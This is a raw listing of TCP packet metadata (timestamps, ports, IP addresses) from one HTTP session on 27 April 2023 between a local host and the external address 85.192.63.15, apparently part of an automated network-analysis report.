Apr 27, 2023 07:41:55.614032030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.614065886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.614078045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.614106894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.614111900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.614126921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.614146948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.614178896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.614185095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.614200115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.614244938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617399931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617450953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617482901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617526054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617561102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617563009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617561102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617561102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617594004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617629051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617630959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617665052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617672920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617691040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617718935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617737055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617753983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.617784977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.617808104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.857297897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.857369900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.857415915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.857453108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.857466936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.857466936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.857467890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.857547045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.858325005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.858362913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.858407974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.858431101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.858431101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.858453989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.858460903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.858490944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.858520985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.858541965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.865277052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.865364075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.865396023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.865430117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.865430117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.865438938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.865467072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.865473986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.865499020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.865525961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.870218992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.870273113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.870320082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.870326042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.870358944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.870363951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.870381117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.870397091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.870434046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.870434046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.870455980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.870495081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.871865034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.871911049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.871953964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.871958017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.871982098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.871994972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.872020960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.872049093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.873332977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.873380899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.873415947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.873429060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.873429060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.873460054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.873476982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.873497963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.873526096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.873554945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.875154972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.875202894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.875247002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.875256062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.875283957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.875286102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.875312090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.875405073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.878225088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.878272057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.878315926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.878318071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.878346920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.878351927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.878387928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.878396988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.878423929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.878443956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.879987955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.880044937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.880084038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.880095005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.880105972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.880141020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.880171061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.880176067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.880214930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.880218029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.880242109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.880280972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.883270025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.883302927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.883338928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.883372068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.883699894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.883745909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.883778095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.883784056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.883800030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.883842945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.397353888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.397427082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.397471905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.397557020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.397572994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.397572994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.397643089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.397643089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.400207043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.400293112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.400336981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.400345087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.400379896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.400403976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.400414944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.400464058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.400470018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.400516033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.401694059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.401748896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.401797056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.401810884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.401834011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.401861906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.401868105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.401916981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.401926994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.401976109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.401981115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.402028084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.410321951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.410383940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.410449982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.410496950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.410496950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.410512924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.410547018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.410567045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.410581112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.410630941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413111925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413150072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413203001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413211107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413234949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413280010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413316965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413332939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413351059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413399935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413412094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413466930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413469076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413526058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413537979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413583994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.413600922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.413652897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.416584969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.416630983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.416676998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.416711092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.416712046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.416743994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.416754007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.416798115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.416805983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.416857958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.418706894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.418756962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.418807030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.418818951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.418818951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.418855906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.418858051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.418914080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423177004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423222065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423265934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423301935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423353910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423372984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423372984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423372984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423372984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423433065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423455000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423543930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423547983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423608065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423610926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423665047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.423674107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.423724890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.571418047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.596889019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.640717030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.640820980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.640870094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.640909910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.640960932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.640985966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.641031027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.641060114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.641103983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.641149998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.641155958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.641208887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.641388893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.653629065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.653734922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.653804064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.653801918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.653862000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.653888941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.653968096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.653986931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654016972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654064894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654100895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654122114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654138088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654166937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654200077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654237032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654273033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654321909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654355049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654376030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654397011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654431105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654447079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654486895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654505014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654541969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654587984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654607058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654628992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654659033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654690027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654714108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654738903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654768944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654784918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654812098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.654849052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.654891014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.655035019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.655090094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.655122042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.655147076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.655174971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.655219078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.666605949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666676998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666759014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666785955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.666827917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666843891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.666843891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.666877031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666898012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.666924000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666944027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.666961908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.666980982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667007923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667011023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667054892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667062998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667102098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667105913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667150021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667155981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667186975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667202950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667233944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667243004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667269945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667287111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667309999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667320967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667356968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667365074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667423010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667433977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667481899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667499065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667517900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667530060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667566061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667581081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667612076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667617083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667659044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667661905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667694092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667716026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667740107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667749882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667774916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667788982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667820930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667825937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667855024 CEST	80	49697	85.192.63.15	192.168.2.3
